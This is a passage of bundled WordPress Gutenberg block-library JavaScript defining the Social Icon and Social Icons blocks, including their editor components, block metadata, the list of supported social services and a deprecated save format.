  var YouTubeIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime478.jsx)(import_primitives212.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime478.jsx)(import_primitives212.Path, { d: &quot;M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z&quot; }) });

  // packages/block-library/build-module/social-link/social-list.mjs
  function getSocialService(variation) {
    if (!variation?.name) {
      return {
        icon: ChainIcon,
        label: (0, import_i18n228.__)(&quot;Social Icon&quot;)
      };
    }
    return {
      icon: variation?.icon ?? ChainIcon,
      label: variation?.title ?? (0, import_i18n228.__)(&quot;Social Icon&quot;)
    };
  }

  // packages/block-library/build-module/social-link/edit.mjs
  var import_jsx_runtime479 = __toESM(require_jsx_runtime(), 1);
  var SocialLinkURLPopover = ({
    url,
    setAttributes,
    setPopover,
    popoverAnchor,
    clientId
  }) =&gt; {
    const { removeBlock } = (0, import_data134.useDispatch)(import_block_editor239.store);
    return /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
      import_block_editor239.URLPopover,
      {
        anchor: popoverAnchor,
        &quot;aria-label&quot;: (0, import_i18n229.__)(&quot;Edit social link&quot;),
        onClose: () =&gt; {
          setPopover(false);
          popoverAnchor?.focus();
        },
        children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
          &quot;form&quot;,
          {
            className: &quot;block-editor-url-popover__link-editor&quot;,
            onSubmit: (event) =&gt; {
              event.preventDefault();
              setPopover(false);
              popoverAnchor?.focus();
            },
            children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(&quot;div&quot;, { className: &quot;block-editor-url-input&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
              import_block_editor239.URLInput,
              {
                value: url,
                onChange: (nextURL) =&gt; setAttributes({ url: nextURL }),
                placeholder: (0, import_i18n229.__)(&quot;Enter social link&quot;),
                label: (0, import_i18n229.__)(&quot;Enter social link&quot;),
                hideLabelFromVision: true,
                disableSuggestions: true,
                onKeyDown: (event) =&gt; {
                  if (!!url || event.defaultPrevented || ![import_keycodes9.BACKSPACE, import_keycodes9.DELETE].includes(
                    event.keyCode
                  )) {
                    return;
                  }
                  removeBlock(clientId);
                },
                suffix: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(import_components151.__experimentalInputControlSuffixWrapper, { variant: &quot;control&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
                  import_components151.Button,
                  {
                    icon: keyboard_return_default,
                    label: (0, import_i18n229.__)(&quot;Apply&quot;),
                    type: &quot;submit&quot;,
                    size: &quot;small&quot;
                  }
                ) })
              }
            ) })
          }
        )
      }
    );
  };
  var SocialLinkEdit = ({
    attributes: attributes2,
    context,
    isSelected,
    setAttributes,
    clientId,
    name: name123
  }) =&gt; {
    const { url, service, label = &quot;&quot;, rel } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const {
      showLabels,
      iconColor,
      iconColorValue,
      iconBackgroundColor,
      iconBackgroundColorValue
    } = context;
    const [showURLPopover, setPopover] = (0, import_element120.useState)(false);
    const wrapperClasses = clsx_default(
      &quot;wp-social-link&quot;,
      // Manually adding this class for backwards compatibility of CSS when moving the
      // blockProps from the li to the button: https://github.com/WordPress/gutenberg/pull/64883
      &quot;wp-block-social-link&quot;,
      &quot;wp-social-link-&quot; + service,
      {
        &quot;wp-social-link__is-incomplete&quot;: !url,
        [`has-${iconColor}-color`]: iconColor,
        [`has-${iconBackgroundColor}-background-color`]: iconBackgroundColor
      }
    );
    const [popoverAnchor, setPopoverAnchor] = (0, import_element120.useState)(null);
    const isContentOnlyMode = (0, import_block_editor239.useBlockEditingMode)() === &quot;contentOnly&quot;;
    const { activeVariation } = (0, import_data134.useSelect)(
      (select9) =&gt; {
        const { getActiveBlockVariation } = select9(import_blocks108.store);
        return {
          activeVariation: getActiveBlockVariation(name123, attributes2)
        };
      },
      [name123, attributes2]
    );
    const { icon: icon4, label: socialLinkName } = getSocialService(activeVariation);
    const socialLinkText = label.trim() === &quot;&quot; ? socialLinkName : label;
    const ref = (0, import_element120.useRef)();
    const blockProps = (0, import_block_editor239.useBlockProps)({
      className: &quot;wp-block-social-link-anchor&quot;,
      ref: (0, import_compose56.useMergeRefs)([setPopoverAnchor, ref]),
      onClick: () =&gt; setPopover(true),
      onKeyDown: (event) =&gt; {
        if (event.keyCode === import_keycodes9.ENTER) {
          event.preventDefault();
          setPopover(true);
        }
      }
    });
    return /* @__PURE__ */ (0, import_jsx_runtime479.jsxs)(import_jsx_runtime479.Fragment, { children: [
      isContentOnlyMode &amp;&amp; showLabels &amp;&amp; // Add an extra control to modify the label attribute when content only mode is active.
      // With content only mode active, the inspector is hidden, so users need another way
      // to edit this attribute.
      /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(import_block_editor239.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
        import_components151.Dropdown,
        {
          popoverProps: { placement: &quot;bottom-start&quot; },
          renderToggle: ({ isOpen, onToggle }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
            import_components151.ToolbarButton,
            {
              onClick: onToggle,
              &quot;aria-haspopup&quot;: &quot;true&quot;,
              &quot;aria-expanded&quot;: isOpen,
              children: (0, import_i18n229.__)(&quot;Text&quot;)
            }
          ),
          renderContent: () =&gt; /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
            import_components151.TextControl,
            {
              __next40pxDefaultSize: true,
              className: &quot;wp-block-social-link__toolbar_content_text&quot;,
              label: (0, import_i18n229.__)(&quot;Text&quot;),
              help: (0, import_i18n229.__)(
                &quot;Provide a text label or use the default.&quot;
              ),
              value: label,
              onChange: (value) =&gt; setAttributes({ label: value }),
              placeholder: socialLinkName
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(import_block_editor239.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
        import_components151.__experimentalToolsPanel,
        {
          label: (0, import_i18n229.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({ label: void 0 });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
            import_components151.__experimentalToolsPanelItem,
            {
              isShownByDefault: true,
              label: (0, import_i18n229.__)(&quot;Text&quot;),
              hasValue: () =&gt; !!label,
              onDeselect: () =&gt; {
                setAttributes({ label: void 0 });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
                import_components151.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n229.__)(&quot;Text&quot;),
                  help: (0, import_i18n229.__)(
                    &quot;The text is visible when enabled from the parent Social Icons block.&quot;
                  ),
                  value: label,
                  onChange: (value) =&gt; setAttributes({ label: value }),
                  placeholder: socialLinkName
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(import_block_editor239.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
        import_components151.TextControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n229.__)(&quot;Link relation&quot;),
          help: (0, import_element120.createInterpolateElement)(
            (0, import_i18n229.__)(
              &quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;
            ),
            {
              a: /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(import_components151.ExternalLink, { href: &quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot; })
            }
          ),
          value: rel || &quot;&quot;,
          onChange: (value) =&gt; setAttributes({ rel: value })
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime479.jsxs)(
        &quot;li&quot;,
        {
          role: &quot;presentation&quot;,
          className: wrapperClasses,
          style: {
            color: iconColorValue,
            backgroundColor: iconBackgroundColorValue
          },
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime479.jsxs)(&quot;button&quot;, { &quot;aria-haspopup&quot;: &quot;dialog&quot;, ...blockProps, role: &quot;button&quot;, children: [
              /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(import_components151.Icon, { icon: icon4 }),
              /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
                &quot;span&quot;,
                {
                  className: clsx_default(&quot;wp-block-social-link-label&quot;, {
                    &quot;screen-reader-text&quot;: !showLabels
                  }),
                  children: socialLinkText
                }
              )
            ] }),
            isSelected &amp;&amp; showURLPopover &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime479.jsx)(
              SocialLinkURLPopover,
              {
                url,
                setAttributes,
                setPopover,
                popoverAnchor,
                clientId
              }
            )
          ]
        }
      )
    ] });
  };
  var edit_default32 = SocialLinkEdit;

  // packages/block-library/build-module/social-link/block.json
  var block_default101 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/social-link&quot;,
    title: &quot;Social Icon&quot;,
    category: &quot;widgets&quot;,
    parent: [&quot;core/social-links&quot;],
    description: &quot;Display an icon linking to a social profile or site.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      url: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      service: {
        type: &quot;string&quot;
      },
      label: {
        type: &quot;string&quot;,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;
      }
    },
    usesContext: [
      &quot;openInNewTab&quot;,
      &quot;showLabels&quot;,
      &quot;iconColor&quot;,
      &quot;iconColorValue&quot;,
      &quot;iconBackgroundColor&quot;,
      &quot;iconBackgroundColorValue&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-social-link-editor&quot;
  };

  // packages/block-library/build-module/social-link/variations.mjs
  var import_i18n230 = __toESM(require_i18n(), 1);
  var variations16 = [
    {
      isDefault: true,
      name: &quot;wordpress&quot;,
      attributes: { service: &quot;wordpress&quot; },
      title: (0, import_i18n230._x)(&quot;WordPress&quot;, &quot;social link block variation name&quot;),
      icon: WordPressIcon
    },
    {
      name: &quot;fivehundredpx&quot;,
      attributes: { service: &quot;fivehundredpx&quot; },
      title: (0, import_i18n230._x)(&quot;500px&quot;, &quot;social link block variation name&quot;),
      icon: FivehundredpxIcon
    },
    {
      name: &quot;amazon&quot;,
      attributes: { service: &quot;amazon&quot; },
      title: (0, import_i18n230._x)(&quot;Amazon&quot;, &quot;social link block variation name&quot;),
      icon: AmazonIcon
    },
    {
      name: &quot;bandcamp&quot;,
      attributes: { service: &quot;bandcamp&quot; },
      title: (0, import_i18n230._x)(&quot;Bandcamp&quot;, &quot;social link block variation name&quot;),
      icon: BandcampIcon
    },
    {
      name: &quot;behance&quot;,
      attributes: { service: &quot;behance&quot; },
      title: (0, import_i18n230._x)(&quot;Behance&quot;, &quot;social link block variation name&quot;),
      icon: BehanceIcon
    },
    {
      name: &quot;bluesky&quot;,
      attributes: { service: &quot;bluesky&quot; },
      title: (0, import_i18n230._x)(&quot;Bluesky&quot;, &quot;social link block variation name&quot;),
      icon: BlueskyIcon
    },
    {
      name: &quot;chain&quot;,
      attributes: { service: &quot;chain&quot; },
      title: (0, import_i18n230._x)(&quot;Link&quot;, &quot;social link block variation name&quot;),
      icon: ChainIcon
    },
    {
      name: &quot;codepen&quot;,
      attributes: { service: &quot;codepen&quot; },
      title: (0, import_i18n230._x)(&quot;CodePen&quot;, &quot;social link block variation name&quot;),
      icon: CodepenIcon
    },
    {
      name: &quot;deviantart&quot;,
      attributes: { service: &quot;deviantart&quot; },
      title: (0, import_i18n230._x)(&quot;DeviantArt&quot;, &quot;social link block variation name&quot;),
      icon: DeviantArtIcon
    },
    {
      name: &quot;discord&quot;,
      attributes: { service: &quot;discord&quot; },
      title: (0, import_i18n230._x)(&quot;Discord&quot;, &quot;social link block variation name&quot;),
      icon: DiscordIcon
    },
    {
      name: &quot;dribbble&quot;,
      attributes: { service: &quot;dribbble&quot; },
      title: (0, import_i18n230._x)(&quot;Dribbble&quot;, &quot;social link block variation name&quot;),
      icon: DribbbleIcon
    },
    {
      name: &quot;dropbox&quot;,
      attributes: { service: &quot;dropbox&quot; },
      title: (0, import_i18n230._x)(&quot;Dropbox&quot;, &quot;social link block variation name&quot;),
      icon: DropboxIcon
    },
    {
      name: &quot;etsy&quot;,
      attributes: { service: &quot;etsy&quot; },
      title: (0, import_i18n230._x)(&quot;Etsy&quot;, &quot;social link block variation name&quot;),
      icon: EtsyIcon
    },
    {
      name: &quot;facebook&quot;,
      attributes: { service: &quot;facebook&quot; },
      title: (0, import_i18n230._x)(&quot;Facebook&quot;, &quot;social link block variation name&quot;),
      icon: FacebookIcon
    },
    {
      name: &quot;feed&quot;,
      attributes: { service: &quot;feed&quot; },
      title: (0, import_i18n230._x)(&quot;RSS Feed&quot;, &quot;social link block variation name&quot;),
      icon: FeedIcon
    },
    {
      name: &quot;flickr&quot;,
      attributes: { service: &quot;flickr&quot; },
      title: (0, import_i18n230._x)(&quot;Flickr&quot;, &quot;social link block variation name&quot;),
      icon: FlickrIcon
    },
    {
      name: &quot;foursquare&quot;,
      attributes: { service: &quot;foursquare&quot; },
      title: (0, import_i18n230._x)(&quot;Foursquare&quot;, &quot;social link block variation name&quot;),
      icon: FoursquareIcon
    },
    {
      name: &quot;goodreads&quot;,
      attributes: { service: &quot;goodreads&quot; },
      title: (0, import_i18n230._x)(&quot;Goodreads&quot;, &quot;social link block variation name&quot;),
      icon: GoodreadsIcon
    },
    {
      name: &quot;google&quot;,
      attributes: { service: &quot;google&quot; },
      title: (0, import_i18n230._x)(&quot;Google&quot;, &quot;social link block variation name&quot;),
      icon: GoogleIcon
    },
    {
      name: &quot;github&quot;,
      attributes: { service: &quot;github&quot; },
      title: (0, import_i18n230._x)(&quot;GitHub&quot;, &quot;social link block variation name&quot;),
      icon: GitHubIcon
    },
    {
      name: &quot;gravatar&quot;,
      attributes: { service: &quot;gravatar&quot; },
      title: (0, import_i18n230._x)(&quot;Gravatar&quot;, &quot;social link block variation name&quot;),
      icon: GravatarIcon
    },
    {
      name: &quot;instagram&quot;,
      attributes: { service: &quot;instagram&quot; },
      title: (0, import_i18n230._x)(&quot;Instagram&quot;, &quot;social link block variation name&quot;),
      icon: InstagramIcon
    },
    {
      name: &quot;lastfm&quot;,
      attributes: { service: &quot;lastfm&quot; },
      title: (0, import_i18n230._x)(&quot;Last.fm&quot;, &quot;social link block variation name&quot;),
      icon: LastfmIcon
    },
    {
      name: &quot;linkedin&quot;,
      attributes: { service: &quot;linkedin&quot; },
      title: (0, import_i18n230._x)(&quot;LinkedIn&quot;, &quot;social link block variation name&quot;),
      icon: LinkedInIcon
    },
    {
      name: &quot;mail&quot;,
      attributes: { service: &quot;mail&quot; },
      title: (0, import_i18n230._x)(&quot;Mail&quot;, &quot;social link block variation name&quot;),
      keywords: [&quot;email&quot;, &quot;e-mail&quot;],
      icon: MailIcon
    },
    {
      name: &quot;mastodon&quot;,
      attributes: { service: &quot;mastodon&quot; },
      title: (0, import_i18n230._x)(&quot;Mastodon&quot;, &quot;social link block variation name&quot;),
      icon: MastodonIcon
    },
    {
      name: &quot;meetup&quot;,
      attributes: { service: &quot;meetup&quot; },
      title: (0, import_i18n230._x)(&quot;Meetup&quot;, &quot;social link block variation name&quot;),
      icon: MeetupIcon
    },
    {
      name: &quot;medium&quot;,
      attributes: { service: &quot;medium&quot; },
      title: (0, import_i18n230._x)(&quot;Medium&quot;, &quot;social link block variation name&quot;),
      icon: MediumIcon
    },
    {
      name: &quot;patreon&quot;,
      attributes: { service: &quot;patreon&quot; },
      title: (0, import_i18n230._x)(&quot;Patreon&quot;, &quot;social link block variation name&quot;),
      icon: PatreonIcon
    },
    {
      name: &quot;pinterest&quot;,
      attributes: { service: &quot;pinterest&quot; },
      title: (0, import_i18n230._x)(&quot;Pinterest&quot;, &quot;social link block variation name&quot;),
      icon: PinterestIcon
    },
    {
      name: &quot;pocket&quot;,
      attributes: { service: &quot;pocket&quot; },
      title: (0, import_i18n230._x)(&quot;Pocket&quot;, &quot;social link block variation name&quot;),
      icon: PocketIcon
    },
    {
      name: &quot;reddit&quot;,
      attributes: { service: &quot;reddit&quot; },
      title: (0, import_i18n230._x)(&quot;Reddit&quot;, &quot;social link block variation name&quot;),
      icon: RedditIcon
    },
    {
      name: &quot;skype&quot;,
      attributes: { service: &quot;skype&quot; },
      title: (0, import_i18n230._x)(&quot;Skype&quot;, &quot;social link block variation name&quot;),
      icon: SkypeIcon,
      // Deprecated: Skype service is no longer available.
      scope: []
    },
    {
      name: &quot;snapchat&quot;,
      attributes: { service: &quot;snapchat&quot; },
      title: (0, import_i18n230._x)(&quot;Snapchat&quot;, &quot;social link block variation name&quot;),
      icon: SnapchatIcon
    },
    {
      name: &quot;soundcloud&quot;,
      attributes: { service: &quot;soundcloud&quot; },
      title: (0, import_i18n230._x)(&quot;SoundCloud&quot;, &quot;social link block variation name&quot;),
      icon: SoundCloudIcon
    },
    {
      name: &quot;spotify&quot;,
      attributes: { service: &quot;spotify&quot; },
      title: (0, import_i18n230._x)(&quot;Spotify&quot;, &quot;social link block variation name&quot;),
      icon: SpotifyIcon
    },
    {
      name: &quot;telegram&quot;,
      attributes: { service: &quot;telegram&quot; },
      title: (0, import_i18n230._x)(&quot;Telegram&quot;, &quot;social link block variation name&quot;),
      icon: TelegramIcon
    },
    {
      name: &quot;threads&quot;,
      attributes: { service: &quot;threads&quot; },
      title: (0, import_i18n230._x)(&quot;Threads&quot;, &quot;social link block variation name&quot;),
      icon: ThreadsIcon
    },
    {
      name: &quot;tiktok&quot;,
      attributes: { service: &quot;tiktok&quot; },
      title: (0, import_i18n230._x)(&quot;TikTok&quot;, &quot;social link block variation name&quot;),
      icon: TiktokIcon
    },
    {
      name: &quot;tumblr&quot;,
      attributes: { service: &quot;tumblr&quot; },
      title: (0, import_i18n230._x)(&quot;Tumblr&quot;, &quot;social link block variation name&quot;),
      icon: TumblrIcon
    },
    {
      name: &quot;twitch&quot;,
      attributes: { service: &quot;twitch&quot; },
      title: (0, import_i18n230._x)(&quot;Twitch&quot;, &quot;social link block variation name&quot;),
      icon: TwitchIcon
    },
    {
      name: &quot;twitter&quot;,
      attributes: { service: &quot;twitter&quot; },
      title: (0, import_i18n230._x)(&quot;Twitter&quot;, &quot;social link block variation name&quot;),
      icon: TwitterIcon
    },
    {
      name: &quot;vimeo&quot;,
      attributes: { service: &quot;vimeo&quot; },
      title: (0, import_i18n230._x)(&quot;Vimeo&quot;, &quot;social link block variation name&quot;),
      icon: VimeoIcon
    },
    {
      name: &quot;vk&quot;,
      attributes: { service: &quot;vk&quot; },
      title: (0, import_i18n230._x)(&quot;VK&quot;, &quot;social link block variation name&quot;),
      icon: VkIcon
    },
    {
      name: &quot;whatsapp&quot;,
      attributes: { service: &quot;whatsapp&quot; },
      title: (0, import_i18n230._x)(&quot;WhatsApp&quot;, &quot;social link block variation name&quot;),
      icon: WhatsAppIcon
    },
    {
      name: &quot;x&quot;,
      attributes: { service: &quot;x&quot; },
      keywords: [&quot;twitter&quot;],
      title: (0, import_i18n230._x)(&quot;X&quot;, &quot;social link block variation name&quot;),
      icon: XIcon
    },
    {
      name: &quot;yelp&quot;,
      attributes: { service: &quot;yelp&quot; },
      title: (0, import_i18n230._x)(&quot;Yelp&quot;, &quot;social link block variation name&quot;),
      icon: YelpIcon
    },
    {
      name: &quot;youtube&quot;,
      attributes: { service: &quot;youtube&quot; },
      title: (0, import_i18n230._x)(&quot;YouTube&quot;, &quot;social link block variation name&quot;),
      icon: YouTubeIcon
    }
  ];
  variations16.forEach((variation) =&gt; {
    if (variation.isActive) {
      return;
    }
    variation.isActive = (blockAttributes8, variationAttributes) =&gt; blockAttributes8.service === variationAttributes.service;
  });
  var variations_default16 = variations16;

  // packages/block-library/build-module/social-link/index.mjs
  var { fieldsKey: fieldsKey18, formKey: formKey18 } = unlock(import_blocks109.privateApis);
  var { name: name102 } = block_default101;
  var settings101 = {
    icon: share_default,
    edit: edit_default32,
    variations: variations_default16
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings101[fieldsKey18] = [
      {
        id: &quot;link&quot;,
        label: (0, import_i18n231.__)(&quot;Link&quot;),
        type: &quot;url&quot;,
        Edit: &quot;link&quot;,
        // TODO: replace with custom component
        getValue: ({ item }) =&gt; ({
          url: item.url,
          rel: item.rel
        }),
        setValue: ({ value }) =&gt; ({
          url: value.url,
          rel: value.rel
        })
      },
      {
        id: &quot;label&quot;,
        label: (0, import_i18n231.__)(&quot;Label&quot;),
        type: &quot;text&quot;
      }
    ];
    settings101[formKey18] = {
      fields: [&quot;link&quot;, &quot;label&quot;]
    };
  }
  var init101 = () =&gt; initBlock({ name: name102, metadata: block_default101, settings: settings101 });

  // packages/block-library/build-module/social-links/index.mjs
  var social_links_exports = {};
  __export(social_links_exports, {
    init: () =&gt; init102,
    metadata: () =&gt; block_default102,
    name: () =&gt; name103,
    settings: () =&gt; settings102
  });

  // packages/block-library/build-module/social-links/deprecated.mjs
  var import_block_editor240 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime480 = __toESM(require_jsx_runtime(), 1);
  var migrateWithLayout3 = (attributes2) =&gt; {
    if (!!attributes2.layout) {
      return attributes2;
    }
    const { className } = attributes2;
    const prefix = `items-justified-`;
    const justifiedItemsRegex = new RegExp(`\\b${prefix}[^ ]*[ ]?\\b`, &quot;g&quot;);
    const newAttributes = {
      ...attributes2,
      className: className?.replace(justifiedItemsRegex, &quot;&quot;).trim()
    };
    const justifyContent = className?.match(justifiedItemsRegex)?.[0]?.trim();
    if (justifyContent) {
      Object.assign(newAttributes, {
        layout: {
          type: &quot;flex&quot;,
          justifyContent: justifyContent.slice(prefix.length)
        }
      });
    }
    return newAttributes;
  };
  var deprecated17 = [
    // V1. Remove CSS variable use for colors.
    {
      attributes: {
        iconColor: {
          type: &quot;string&quot;
        },
        customIconColor: {
          type: &quot;string&quot;
        },
        iconColorValue: {
          type: &quot;string&quot;
        },
        iconBackgroundColor: {
          type: &quot;string&quot;
        },
        customIconBackgroundColor: {
          type: &quot;string&quot;
        },
        iconBackgroundColorValue: {
          type: &quot;string&quot;
        },
        openInNewTab: {
          type: &quot;boolean&quot;,
          default: false
        },
        size: {
          type: &quot;string&quot;
        }
      },
      providesContext: {
        openInNewTab: &quot;openInNewTab&quot;
      },
      supports: {
        align: [&quot;left&quot;, &quot;center&quot;, &quot;right&quot;],
        anchor: true
      },
      migrate: migrateWithLayout3,
      save: (props) =&gt; {
        const {
          attributes: {
            iconBackgroundColorValue,
            iconColorValue,
            itemsJustification,
            size
          }
        } = props;
        const className = clsx_default(size, {
          &quot;has-icon-color&quot;: iconColorValue,
          &quot;has-icon-background-color&quot;: iconBackgroundColorValue,
          [`items-justified-${itemsJustification}`]: itemsJustification
        });
        const style2 = {
          &quot;--wp--social-links--icon-color&quot;: iconColorValue,
          &quot;--wp--social-links--icon-background-color&quot;: iconBackgroundColorValue
        };
        return /* @__PURE__ */ (0, import_jsx_runtime480.jsx)(&quot;ul&quot;, { ...import_block_editor240.useBlockProps.save({ className, style: style2 }), children: /* @__PURE__ */ (0, import_jsx_runtime480.jsx)(import_block_editor240.InnerBlocks.Content, {}) });
      }
    }
  ];
  var deprecated_default48 = deprecated17;

  // packages/block-library/build-module/social-links/edit.mjs
  var import_element121 = __toESM(require_element(), 1);
  var import_block_editor241 = __toESM(require_block_editor(), 1);
  var import_components152 = __toESM(require_components(), 1);
  var import_i18n232 = __toESM(require_i18n(), 1);
  var import_data135 = __toESM(require_data(), 1);
  var import_jsx_runtime481 = __toESM(require_jsx_runtime(), 1);
  var sizeOptions = [
    { label: (0, import_i18n232.__)(&quot;Default&quot;), value: &quot;&quot; },
    { label: (0, import_i18n232.__)(&quot;Small&quot;), value: &quot;has-small-icon-size&quot; },
    { label: (0, import_i18n232.__)(&quot;Normal&quot;), value: &quot;has-normal-icon-size&quot; },
    { label: (0, import_i18n232.__)(&quot;Large&quot;), value: &quot;has-large-icon-size&quot; },
    { label: (0, import_i18n232.__)(&quot;Huge&quot;), value: &quot;has-huge-icon-size&quot; }
  ];
  function SocialLinksEdit(props) {
    const {
      clientId,
      attributes: attributes2,
      iconBackgroundColor,
      iconColor,
      isSelected,
      setAttributes,
      setIconBackgroundColor,
      setIconColor
    } = props;
    const {
      iconBackgroundColorValue,
      iconColorValue,
      openInNewTab,
      showLabels,
      size
    } = attributes2;
    const { hasSocialIcons, hasSelectedChild } = (0, import_data135.useSelect)(
      (select9) =&gt; {
        const { getBlockCount, hasSelectedInnerBlock } = select9(import_block_editor241.store);
        return {
          hasSocialIcons: getBlockCount(clientId) &gt; 0,
          hasSelectedChild: hasSelectedInnerBlock(clientId)
        };
      },
      [clientId]
    );
    const hasAnySelected = isSelected || hasSelectedChild;
    const logosOnly = attributes2.className?.includes(&quot;is-style-logos-only&quot;);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    (0, import_element121.useEffect)(() =&gt; {
      if (logosOnly) {
        let restore;
        setAttributes((prev) =&gt; {
          restore = {
            iconBackgroundColor: prev.iconBackgroundColor,
            iconBackgroundColorValue: prev.iconBackgroundColorValue,
            customIconBackgroundColor: prev.customIconBackgroundColor
          };
          return {
            iconBackgroundColor: void 0,
            iconBackgroundColorValue: void 0,
            customIconBackgroundColor: void 0
          };
        });
        return () =&gt; setAttributes({ ...restore });
      }
    }, [logosOnly, setAttributes]);
    const className = clsx_default(size, {
      &quot;has-visible-labels&quot;: showLabels,
      &quot;has-icon-color&quot;: iconColor.color || iconColorValue,
      &quot;has-icon-background-color&quot;: iconBackgroundColor.color || iconBackgroundColorValue
    });
    const blockProps = (0, import_block_editor241.useBlockProps)({ className });
    const innerBlocksProps = (0, import_block_editor241.useInnerBlocksProps)(blockProps, {
      templateLock: false,
      orientation: attributes2.layout?.orientation ?? &quot;horizontal&quot;,
      __experimentalAppenderTagName: &quot;li&quot;,
      renderAppender: !hasSocialIcons || hasAnySelected ? import_block_editor241.InnerBlocks.ButtonBlockAppender : void 0
    });
    const colorSettings = [
      {
        // Use custom attribute as fallback to prevent loss of named color selection when
        // switching themes to a new theme that does not have a matching named color.
        value: iconColor.color || iconColorValue,
        onChange: (colorValue) =&gt; {
          setIconColor(colorValue);
          setAttributes({ iconColorValue: colorValue });
        },
        label: (0, import_i18n232.__)(&quot;Icon color&quot;),
        resetAllFilter: () =&gt; {
          setIconColor(void 0);
          setAttributes({ iconColorValue: void 0 });
        }
      }
    ];
    if (!logosOnly) {
      colorSettings.push({
        // Use custom attribute as fallback to prevent loss of named color selection when
        // switching themes to a new theme that does not have a matching named color.
        value: iconBackgroundColor.color || iconBackgroundColorValue,
        onChange: (colorValue) =&gt; {
          setIconBackgroundColor(colorValue);
          setAttributes({
            iconBackgroundColorValue: colorValue
          });
        },
        label: (0, import_i18n232.__)(&quot;Icon background&quot;),
        resetAllFilter: () =&gt; {
          setIconBackgroundColor(void 0);
          setAttributes({ iconBackgroundColorValue: void 0 });
        }
      });
    }
    const colorGradientSettings = (0, import_block_editor241.__experimentalUseMultipleOriginColorsAndGradients)();
    return /* @__PURE__ */ (0, import_jsx_runtime481.jsxs)(import_jsx_runtime481.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(import_block_editor241.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime481.jsxs)(
        import_components152.__experimentalToolsPanel,
        {
          label: (0, import_i18n232.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              openInNewTab: false,
              showLabels: false,
              size: void 0
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
              import_components152.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                hasValue: () =&gt; !!size,
                label: (0, import_i18n232.__)(&quot;Icon size&quot;),
                onDeselect: () =&gt; setAttributes({ size: void 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
                  import_components152.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n232.__)(&quot;Icon size&quot;),
                    onChange: (newSize) =&gt; {
                      setAttributes({
                        size: newSize === &quot;&quot; ? void 0 : newSize
                      });
                    },
                    value: size ?? &quot;&quot;,
                    options: sizeOptions
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
              import_components152.__experimentalToolsPanelItem,
              {
                isShownByDefault: true,
                label: (0, import_i18n232.__)(&quot;Show text&quot;),
                hasValue: () =&gt; !!showLabels,
                onDeselect: () =&gt; setAttributes({ showLabels: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime481.jsx)(
                  import_components152.ToggleControl,
                  {
                    label: (0, import_i18n232.__)(&quot;Show text&quot;),
                    checked: showLabels,
